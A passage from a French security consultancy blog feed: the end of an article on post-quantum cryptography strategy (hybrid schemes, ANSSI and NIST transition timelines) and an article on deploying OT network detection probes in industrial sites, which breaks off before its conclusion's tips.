<p style="text-align: justify;">Par conséquent, au contraire du <strong>NIST</strong>, l’<strong>ANSSI</strong> mais également la <strong>BSI</strong> entre autres, recommande l’adoption de <strong>systèmes hybrides </strong>par les organisations. C’est un concept qui consiste à « combiner des algorithmes <strong>asymétriques post-quantiques </strong>avec une cryptographie <strong>asymétrique pré-quantique </strong>bien connue et bien étudiée <em>» ANSSI. </em>Ainsi, l’on peut bénéficier de l&rsquo;efficacité des standards actuels sur les attaques <strong>classiques</strong>, et de la résistance conjecturée de la PQC sur les attaques <strong>quantiques</strong>.</p>
<p style="text-align: justify;">L’hybridation est possible pour les mécanismes <strong>d’encapsulation de clés</strong> et pour les <strong>signatures numériques</strong>. Chaque opération classique est remplacée soit par :</p>
<ul style="text-align: justify;">
<li>l’exécution <strong>successive</strong>,</li>
<li>l’exécution en <strong>parallèle</strong> des 2 algorithmes, pré-quantique et quantique.</li>
</ul>
<p style="text-align: justify;">La deuxième option peut être implémentée dans le but de réduire la perte de performance du système. Ces schémas hybrides nécessitent par ailleurs que les acteurs impliqués supportent les deux types d’algorithmes.</p>
<p style="text-align: justify;">C’est un schéma dont<em> « </em>le surcoût de performance d’un schéma hybride reste <strong>faible</strong> par rapport au coût du schéma post-quantique ». L’<strong>ANSSI</strong> estime<em> « </em>qu’il s’agit d’un prix <strong>raisonnable</strong> à payer pour garantir une sécurité pré-quantique au moins équivalente à celle apportée par les algorithmes normalisés pré-quantiques actuels ».</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Outre-manche et Atlantique, on est beaucoup plus nuancé que les homologues européens sur la question. Bien que l’intérêt de l’hybridation soit reconnu par les autorités de cybersécurité anglaise et étatsunienne, le <a href="https://www.ncsc.gov.uk/whitepaper/next-steps-preparing-for-post-quantum-cryptography#section_5"><strong>NCSC</strong></a> et le <a href="https://nvlpubs.nist.gov/nistpubs/ir/2024/NIST.IR.8547.ipd.pdf"><strong>NIST</strong></a> insiste sur le caractère <strong>temporaire</strong> de cette solution et <strong>n’imposent pas</strong> l’hybridation comme <strong>étape obligatoire</strong> avant de migrer totalement vers la PQC. La <a href="https://media.defense.gov/2022/Sep/07/2003071836/-1/-1/1/CSI_CNSA_2.0_FAQ_.PDF"><strong>NSA</strong></a> dit explicitement avoir confiance dans les standards de PQC et <strong>ne requiert pas</strong> l’utilisation de modèles d’hybridation dans les systèmes de sécurité nationaux. En résumé, la décision d’utiliser ces modèles doit être prise en tenant compte :</p>
<ul style="text-align: justify;">
<li>des contraintes techniques d’implémentation,</li>
<li>de la complexité accrue (deux algorithmes au lieu d’un),</li>
<li>du coût additionnel,</li>
<li>de la nécessité de transitionner une <strong>seconde</strong> fois à l’avenir vers un système de PQC total, , ce qui peut constituer un exercice complexe de <strong>crypto-agilité</strong> – c’est-à-dire la capacité de modifier <strong>rapidement</strong> et sans bouleversements <strong>majeurs</strong> son infrastructure cryptographique en réponse à l’évolution des menaces – pour certaines entreprises.</li>
</ul>
<p style="text-align: justify;"><strong> </strong></p>
<h2 style="text-align: justify;">Aspect règlementaire</h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Il n’y a actuellement pas de règlementation <strong>européenne</strong> qui formule d’exigences explicites au sujet de la cryptographie post-quantique. Néanmoins, parmi les différents textes évoquant le chiffrement de données (NIS2, DORA, HDS…), certains exigent explicitement de l’appliquer <strong>à l’état de l’art.</strong>  DORA impose notamment la mise à jour constante des moyens cryptographiques utilisés par rapport à l’évolution des techniques de cryptanalyse. Il est donc possible de considérer cela comme un premier pas pour guider les organisations vers le concept de <strong>crypto-agilité</strong>.</p>
<p style="text-align: justify;">Malgré cette absence d’exigences actuellement, l’ANSSI prévoit un <a href="https://cyber.gouv.fr/publications/avis-de-lanssi-sur-la-migration-vers-la-cryptographie-post-quantique">plan de transition post-quantique en 3 phases</a> :</p>
<ol style="text-align: justify;">
<li><strong>Phase 1 (en cours)</strong></li>
</ol>
<p style="text-align: justify;">La sécurité post-quantique effective à travers l’hybridation reste facultative et est considérée par l’agence comme une défense en profondeur. Les visas de sécurité délivrés par l’ANSSI restent inchangés et garantissent uniquement la sécurité pré-quantique.</p>
<ol style="text-align: justify;" start="2">
<li><strong>Phase 2 (après 2025)</strong></li>
</ol>
<p style="text-align: justify;">La résistance quantique devient une <strong>propriété</strong> de sécurité. Des critères de sécurité post-quantique pour les algorithmes de PQC auront été définis par l’ANSSI, et seront pris en compte dans la délivrance de visas de sécurité.</p>
<ol style="text-align: justify;" start="3">
<li><strong>Phase 3 (après 2030)</strong></li>
</ol>
<p style="text-align: justify;">On estime que le niveau d’assurance de sécurité post-quantique sera équivalent au niveau pré-quantique actuel. L’hybridation deviendra donc optionnelle ; des visas de sécurité pourront être délivrés pour des entreprises utilisant des schémas post-quantiques <strong>sans hybridation</strong>.</p>
<p style="text-align: justify;">En outre, suivant le contexte, l’ANSSI pourra décider de n’octroyer ses visas de sécurité que pour la sécurité à long terme <strong>post-quantique</strong>.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-25563" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1FR-1.png" alt="Evolution du niveau d'assurance dans le pré et post-quantique au cours du temps" width="501" height="367" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1FR-1.png 501w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1FR-1-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1FR-1-53x39.png 53w" sizes="auto, (max-width: 501px) 100vw, 501px" /></p>
<p style="text-align: justify;">Aux Etats-Unis, le <a href="https://nvlpubs.nist.gov/nistpubs/ir/2024/NIST.IR.8547.ipd.pdf">plan de transition post-quantique du NIST</a> n’est pas définitif, mais l’obsolescence de <strong>RSA</strong> et <strong>ECC</strong> est d’ores et déjà projeté pour 2030, suivi d’une interdiction d’implémentation totale en 2035 ; d’où l’objectif annoncé – aligné avec la <a href="https://media.defense.gov/2022/Sep/07/2003071836/-1/-1/1/CSI_CNSA_2.0_FAQ_.PDF">NSA</a> – pour l&rsquo;achèvement de la migration vers la PQC dans l&rsquo;ensemble des systèmes fédéraux la même année. Selon les exigences des différents secteurs, il sera peut-être nécessaire de transitionner plus rapidement selon les niveaux de risque associés. </p>
<p style="text-align: justify;">Même si 2035 semble être un horizon lointain, la migration complète vers la cryptographie post-quantique est un <strong>long processus</strong>, et les phases initiales d’<strong>inventaire cryptographique</strong>, <strong>classification de données</strong> et d’<strong>analyse de risques</strong> notamment, requièrent un temps considérable. Par conséquent, il est essentiel de démarrer dès aujourd’hui afin de planifier une transition réussie.</p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;">L’avènement des ordinateurs quantiques n’est donc plus une hypothèse lointaine, mais une certitude qui redéfinira les fondations de la cybersécurité. Si le timing précis (<strong>2033-2037</strong>) reste incertain , la pression règlementaire impulsée par les institutions de cybersécurité se <strong>précise</strong>, et les impacts sur la confidentialité et l’intégrité des données sont, eux, <strong>inéluctables</strong>. Chaque jour qui passe sans adaptation renforce la vulnérabilité des entreprises face aux attaques futures.</p>
<p style="text-align: justify;">Pourtant, des solutions existent déjà : la <strong>cryptographie post-quantique</strong>, bien que peu mature à date – surtout dans ses implémentations &#8211; offre une réponse prometteuse à cette menace. Standardisée et soutenue par les plus grandes instances internationales, elle incarne la première étape vers une sécurité pérenne à l’ère quantique.</p>
<p style="text-align: justify;">Cependant, adopter cette technologie ne se limite pas à un simple déploiement technique. C’est une transition stratégique, un exercice de crypto-agilité , et une opportunité pour les entreprises d’affirmer leur résilience face aux bouleversements technologiques.</p>
<p style="text-align: justify;">La question n’est plus de savoir si votre organisation sera prête lorsque le premier ordinateur quantique capable de briser RSA-2048 verra le jour. Il s’agit de savoir si elle aura su anticiper ce futur, en s’armant dès maintenant des outils et des plans nécessaires pour transformer cette contrainte en un avantage compétitif. Le futur de la sécurité commence aujourd’hui. </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><a href="https://www.riskinsight-wavestone.com/contact/">Contactez-nous</a></p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/03/ordinateur-quantique-et-cryptographie-post-quantique-quelle-strategie-adopter/">Ordinateur quantique et cryptographie post-quantique : quelle stratégie les entreprises doivent-elles adopter sur ces éléments ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/03/ordinateur-quantique-et-cryptographie-post-quantique-quelle-strategie-adopter/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sondes de détection pour l’OT : Les clés pour réussir son déploiement </title>
		<link>https://www.riskinsight-wavestone.com/2024/10/sondes-de-detection-pour-lot-les-cles-pour-reussir-son-deploiement/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/10/sondes-de-detection-pour-lot-les-cles-pour-reussir-son-deploiement/#respond</comments>
		
		<dc:creator><![CDATA[Madeline Salles]]></dc:creator>
		<pubDate>Wed, 16 Oct 2024 08:38:54 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=24232</guid>

					<description><![CDATA[<p>La demande pour des sondes de détection a augmenté ces dernières années, en particulier dans le secteur industriel. Cela peut s&#8217;expliquer par plusieurs raisons : contraintes réglementaires ou contractuelles, besoin de capacités de détection d&#8217;incidents sur le réseau industriel, volonté...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/10/sondes-de-detection-pour-lot-les-cles-pour-reussir-son-deploiement/">Sondes de détection pour l’OT : Les clés pour réussir son déploiement </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><span data-contrast="auto">La demande pour des sondes de détection a augmenté ces dernières années, en particulier dans le secteur industriel. Cela peut s&rsquo;expliquer par plusieurs raisons : contraintes réglementaires ou contractuelles, besoin de capacités de détection d&rsquo;incidents sur le réseau industriel, volonté d&rsquo;une meilleure visibilité sur les actifs industriels&#8230;</span><span data-ccp-props="{}"> </span></p>
<p><b><span data-contrast="none">Ainsi, devriez-vous vous lancer dans l&rsquo;aventure des sondes OT ? Et si oui, comment réussir le déploiement d&rsquo;un service de sondes ?</span></b><span data-contrast="auto"> </span><span data-ccp-props="{}"> </span></p>
<h1>Sondes OT : Un outil pour surveiller les réseaux industriels </h1>
<p><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> <img loading="lazy" decoding="async" class="size-full wp-image-24245 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247.png" alt="" width="1279" height="245" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247.png 1279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247-437x84.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247-768x147.png 768w" sizes="auto, (max-width: 1279px) 100vw, 1279px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="auto">Image 1 : Écouter le réseau pour l’inventorier et détecter</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<p><span data-contrast="auto">Une sonde de détection est un équipement, virtuel ou physique, connecté au système d&rsquo;information (SI) afin de le cartographier et de le surveiller. Elle se compose de capteurs répartis dans le réseau pour collecter des données et d&rsquo;un équipement central pour corréler ces données. Les sondes pour environnements industriels &#8211; que nous appellerons ici sondes OT &#8211; se caractérisent par leur écoute passive et non invasive du réseau, et leur compréhension des protocoles et comportements industriels. De nombreux acteurs sont présents, vous pouvez retrouver notre vision du marché ici : </span><a href="https://www.riskinsight-wavestone.com/2021/03/les-sondes-de-detection-en-milieu-industriel-notre-vision-du-marche/"><span data-contrast="none">https://www.riskinsight-wavestone.com/2021/03/les-sondes-de-detection-en-milieu-industriel-notre-vision-du-marche/</span></a><span data-contrast="auto"> </span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Toutes leurs sondes fonctionnent sur le même principe : le trafic réseau est collecté en utilisant de la duplication de flux (SPAN, ERSPAN &#8230;) ou des duplicateurs physiques comme les taps. Les paquets sont inspectés en temps réel pour fournir plusieurs types de données : inventaire et cartographie des flux, gestion des vulnérabilités, et enfin détection des anomalies et des incidents.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">La grande diversité des cas d&rsquo;utilisation possibles de ces données et la variété de ses utilisateurs (équipe opérationnelle et commerciale, équipe de cybersécurité, etc.) font la popularité de ces sondes OT. </span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Cependant, ces solutions, tout comme leur déploiement et exploitation, sont coûteuses et nécessitent une bonne compréhension des besoins, des utilisateurs potentiels et de la valeur ajoutée avant de se lancer.</span><span data-ccp-props="{}"> </span></p>
<h1>Prenons deux exemples &#8230; </h1>
<p><span data-contrast="auto">Imaginons deux entreprises envisageant de déployer des sondes OT sur leurs sites industriels.</span></p>
<h2>1ère entreprise : WavePetro </h2>
<p><span data-contrast="auto">WavePetro possède un large site sensible, avec une bonne maturité cyber et une architecture très segmentée. L&rsquo;entreprise souhaite déployer des sondes OT pour se conformer à la réglementation et améliorer ses capacités de détection.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Compte tenu de son architecture et de ses besoins de détection, de nombreux points d&rsquo;écoute seront nécessaires. WavePetro peut compter sur ses équipes locales et leur expertise et connaissance du site pour réaliser le déploiement.</span><span data-ccp-props="{}"> </span></p>
<h2>2nd entreprise : RenewStone </h2>
<p><span data-contrast="auto">RenewStone est une entreprise possédant de nombreux petits sites géographiquement dispersés et sans équipe locale, avec une maturité cyber hétérogène. Ses sites sont interconnectés avec l&rsquo;infrastructure du groupe.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">L&rsquo;entreprise souhaite déployer des sondes OT pour gagner en visibilité sur ses sites en utilisant les fonctions d&rsquo;inventaire et de cartographie. </span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Ainsi, RenewStone a besoin de standardiser un service de sondes OT pour ses sites et de pouvoir proposer des déploiements avec le moins de complexité locale possible. </span><span data-ccp-props="{}"> </span></p>
<p><span data-ccp-props="{}"> <img loading="lazy" decoding="async" class="size-full wp-image-24241 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100007.png" alt="" width="1216" height="600" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100007.png 1216w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100007-387x191.png 387w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100007-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-100007-768x379.png 768w" sizes="auto, (max-width: 1216px) 100vw, 1216px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="auto">Image 2 : 2 entreprises, 2 besoins, 2 implémentations</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<h1>… et leurs déploiements vers un service de sondes fonctionnel </h1>
<p><span data-contrast="auto">Bien que ces deux entreprises aient des besoins et maturités cyber différentes, les 5 étapes clés de déploiement restent les mêmes, bien qu&rsquo;avec des approches différentes.  </span><span data-ccp-props="{}"> </span></p>
<h2>1.Preuve de concept </h2>
<p><span data-contrast="auto">La première étape est la preuve de concept (PoC : Proof of Concept). </span> <br /><span data-contrast="auto">L&rsquo;objectif pour les deux entreprises est de tester la faisabilité et la valeur ajoutée des sondes OT sur leurs périmètres.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Alors que WavePetro doit valider la faisabilité sur un périmètre réduit dans son usine, RenewStone doit se concentrer sur la validation de la valeur du service de sonde OT sur quelques-uns de ses sites.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Pour tirer le maximum du PoC, il est important de :</span><span data-ccp-props="{}"> </span></p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">Adapter la sélection des fournisseurs à vos besoins : Le marché est très diversifié entre les pure-players, ceux spécialisé au secteur industriel ou qui étendent leurs solutions IT à l’OT &#8230; </span> <br /><span data-contrast="auto">Les questions à se poser :</span><i><span data-contrast="auto"> Est-ce que je veux de fortes capacités de détection ? Est-ce que je veux un service managé ? Est-ce que je veux une solution unifiée pour l&rsquo;IT et l&rsquo;OT ? </span></i><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li><span data-contrast="auto">Sélectionner le champ d&rsquo;application du PoC : Identifier un périmètre représentatif avec des ressources à tester afin que les résultats puissent être reproduits à l&rsquo;échelle. </span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><span data-contrast="auto">Rédiger une architecture cible avant le PoC : tester une architecture représentative de ce qui serait déployé à l&rsquo;échelle, afin de valider les tests effectués.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
</ul>
<p><span data-contrast="auto">Le PoC est essentiel pour s&rsquo;assurer que les sonde OT apporte de la valeur, mais également pour pouvoir convaincre de les déployer, en particulier lorsqu&rsquo;elles ne sont pas contraintes par des réglementation.</span><span data-ccp-props="{}"> </span></p>
<h2>2.Construction d’un modèle opérationnel </h2>
<p><span data-contrast="auto">Dès le début du projet, il est important de se rappeler que l&rsquo;objectif final du déploiement des sondes OT : Collecter des informations utilisables et valorisables. Pour ce faire, il est important de :</span><span data-ccp-props="{}"> </span></p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><span data-contrast="auto">Définir un modèle opérationnel pour le traitement des alertes, de l’inventaire et la gestion des sondes. Alors que WavePetro peut avoir un modèle d&rsquo;exploitation reposant sur les connaissances et l&rsquo;expertise locales, RenewStone doit construire un modèle d&rsquo;exploitation central avec les équipes du groupe telles que le SOC, la sécurité OT, le réseau, l&rsquo;infrastructure, etc.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li><span data-contrast="auto">Décider de faire appel à un tiers ou de gérer vos sondes en interne : Peu de fournisseurs proposent des services de gestion, vous devrez donc créer votre propre modèle, qui pourrait également s&rsquo;appuyer &#8211; en totalité ou partiellement &#8211; sur de l&rsquo;externalisation.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="7" data-aria-level="1"><span data-contrast="auto">Créer un RACI : Compte tenu des différents cas d&rsquo;usage et du nombre d&rsquo;acteurs impliqués dans l&rsquo;utilisation ou la maintenance des sondes, un RACI est essentiel pour s&rsquo;assurer que toutes les parties prenantes nécessaires seront impliquées et mobilisées.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
</ul>
<p><span data-contrast="auto">Cette étape doit être traitée en amont pour faciliter les étapes suivantes du déploiement.</span><span data-ccp-props="{}"> </span></p>
<h2>3.Préparation au déploiement </h2>
<p><span data-contrast="auto">Une fois que la première étape a démontré la valeur ajoutée d&rsquo;une sonde et que son modèle de fonctionnement a été défini, préparons le déploiement ! </span><span data-contrast="auto">Vous devez définir la cible finale :</span><span data-ccp-props="{}"> </span></p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="8" data-aria-level="1"><span data-contrast="auto">Où déployer la sonde : En particulier si vous avez de nombreux sites différents, comme RenewStone, vous devez prioriser : quels sont vos sites sur lesquels déployer ? Vous pouvez vouloir déployer sur les sites les plus critiques seulement et rendre le service disponible pour d&rsquo;autres à la demande. Les sites sélectionnés doivent également permettre un déploiement. Quels sont les prérequis au déploiement ? Ils peuvent par exemple être définis selon les équipements réseaux disponibles.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li><span data-contrast="auto">Quand déployer : Travaillez sur dès que possible sur des estimations budgétaires afin que les sites soient en mesure de prévoir un déploiement. Les sondes sont une solution coûteuse, non seulement en termes de matériel et de licences, mais également en ressources, pour les déployer et les exploiter.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="10" data-aria-level="1"><span data-contrast="auto">Comment déployer : Dans tous les cas, vous devez construire une architecture pour le déploiement des sondes OT. En particulier, si vous avez de nombreux sites à déployer ou des ressources locales très limitées, vous devez travailler à l&rsquo;élaboration d&rsquo;une offre de service packagée à déployer. </span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
</ul>
<p><span data-contrast="auto">Cette préparation est un passage obligé pour éviter de perdre du temps lors des déploiements et garantir leur succès.</span><span data-ccp-props="{}"> </span></p>
<h2>4.Déploiement </h2>
<p><span data-contrast="auto">Il est temps de s’attaquer au déploiement ! Le mot d’ordre est la même pour les deux entreprises : Avancer pas à pas. La différence réside dans l&rsquo;échelle :</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="11" data-aria-level="1"><span data-contrast="auto">Un déploiement progressif sur le site de WavePetro : Il faudra du temps pour pouvoir « écouter » efficacement partout. Concentrez-vous sur les données attendues pour prioriser l&#8217;emplacement initial de la sonde et ses points d’écoute.</span><span data-ccp-props="{}"> </span></li>
<li><span data-contrast="auto">Apprendre et s&rsquo;améliorer d&rsquo;un déploiement à l&rsquo;autre pour RenewStone : Les déploiements sont centralisés et plus standardisés, donc les équipes apprendront et s&rsquo;amélioreront d&rsquo;un déploiement à l&rsquo;autre. Inclure un panel de sites représentatifs dans la première vague permet de tester et améliorer le modèle de déploiement.</span><span data-ccp-props="{}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="1" data-list-defn-props="{&quot;335551671&quot;:2,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="13" data-aria-level="1"><span data-contrast="auto">Ne pas négliger la conduite du changement : dans les deux cas, le déploiement d&rsquo;une nouvelle solution doit absolument inclure de la sensibilisation et de la formation afin que les sondes OT trouvent leurs utilisateurs.</span><span data-ccp-props="{}"> </span></li>
</ul>
<p><span data-contrast="auto">Le déploiement de sondes OT peut être un processus long et fastidieux, mais ne vous découragez pas en chemin, car il reste encore une dernière étape à franchir !</span></p>
<h2>5.Fine-tuning </h2>
<p><span data-contrast="auto">Une sonde OT est un outil d&rsquo;amélioration continue, la détection doit gagner en valeur avec le temps. Vous devez donc consacrer du temps à :</span><span data-ccp-props="{}"> </span></p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="4" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="0" data-aria-level="1"><span data-contrast="auto">Configurer le tableau de bord de la console : Prendre le temps d&rsquo;améliorer le modèle de détection (liste blanche de certains comportements, priorisation des actifs sensibles&#8230;), l&rsquo;inventaire automatique des actifs et la cartographie (enrichir l&rsquo;inventaire, importer des données, taguer les VLAN&#8230;), et ainsi de suite. Ce fine-tuning doit être effectué par une personne familière avec les sites industriels. </span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li><span data-contrast="auto">Intégrer d&rsquo;autres technologies : Vous pouvez lier les consoles à d&rsquo;autres outils de votre entreprise, tels que le SIEM, les pares-feux ou la CMDB, afin d&rsquo;exploiter au maximum les données collectées par les sondes.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="4" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">Testez d&rsquo;ajouter des fonctionnalités : une fois que vous avez acquis une certaine maturité avec la solution, vous pouvez aller encore plus loin avec les fonctionnalités disponibles, comme l&rsquo;exécution de requêtes actives pour enrichir l&rsquo;inventaire.</span><span data-ccp-props="{&quot;134233279&quot;:true}"> </span></li>
</ul>
<p><span data-contrast="auto">Le fine-tuning permet de limiter le nombre de faux-positifs, afin de se concentrer sur les données qui apporteront de la valeur à votre entreprise et à sa sécurité.</span><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24243 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-095931.png" alt="" width="1279" height="624" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-095931.png 1279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-095931-391x191.png 391w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-095931-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-095931-768x375.png 768w" sizes="auto, (max-width: 1279px) 100vw, 1279px" /></p>
<p style="text-align: center;"><i><span data-contrast="auto">Image 3 : Les 5 étapes clés d&rsquo;un déploiement de service de sondes OT</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<h1>Conclusion </h1>
<p><span data-contrast="auto">Ces deux exemples nous ont beaucoup appris sur les sondes de détection industrielle et sur les nombreux défis liés à leur déploiement et utilisation. </span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Si demain, je fais face à un client industriel qui se demande que faire de ce projet sonde sur sa feuille de route, je lui partagerai ces 3 conseils :</span> <span data-ccp-props="{}"> </span></p>
